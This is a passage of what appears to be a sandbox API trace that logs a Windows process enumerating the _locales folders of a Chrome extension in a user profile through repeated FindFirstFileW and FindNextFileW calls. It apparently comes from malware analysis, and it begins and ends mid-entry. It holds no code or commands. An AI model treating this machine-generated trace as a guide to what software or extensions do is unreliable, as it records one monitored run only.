ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.391] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.391] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.392] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.392] GetProcessHeap () returned 0x550000 [0272.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.392] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0272.392] GetProcessHeap () returned 0x550000 [0272.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.392] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.489] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.489] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.489] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.489] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.490] GetProcessHeap () returned 0x550000 [0272.490] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0272.490] GetProcessHeap () returned 0x550000 [0272.490] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.490] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.490] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.491] GetProcessHeap () returned 0x550000 [0272.491] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0272.491] GetProcessHeap () returned 0x550000 [0272.491] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.574] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.574] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.574] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.575] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.575] GetProcessHeap () returned 0x550000 [0272.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0272.575] GetProcessHeap () returned 0x550000 [0272.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.575] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.576] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.576] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.576] GetProcessHeap () returned 0x550000 [0272.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.576] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0272.576] GetProcessHeap () returned 0x550000 [0272.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.671] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.671] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.672] GetProcessHeap () returned 0x550000 [0272.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.672] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0272.672] GetProcessHeap () returned 0x550000 [0272.672] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.672] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.672] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.672] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.672] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.672] GetProcessHeap () returned 0x550000 [0272.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0272.673] GetProcessHeap () returned 0x550000 [0272.673] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.824] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.824] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.824] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.824] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.825] GetProcessHeap () returned 0x550000 [0272.825] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.825] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0272.825] GetProcessHeap () returned 0x550000 [0272.825] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, 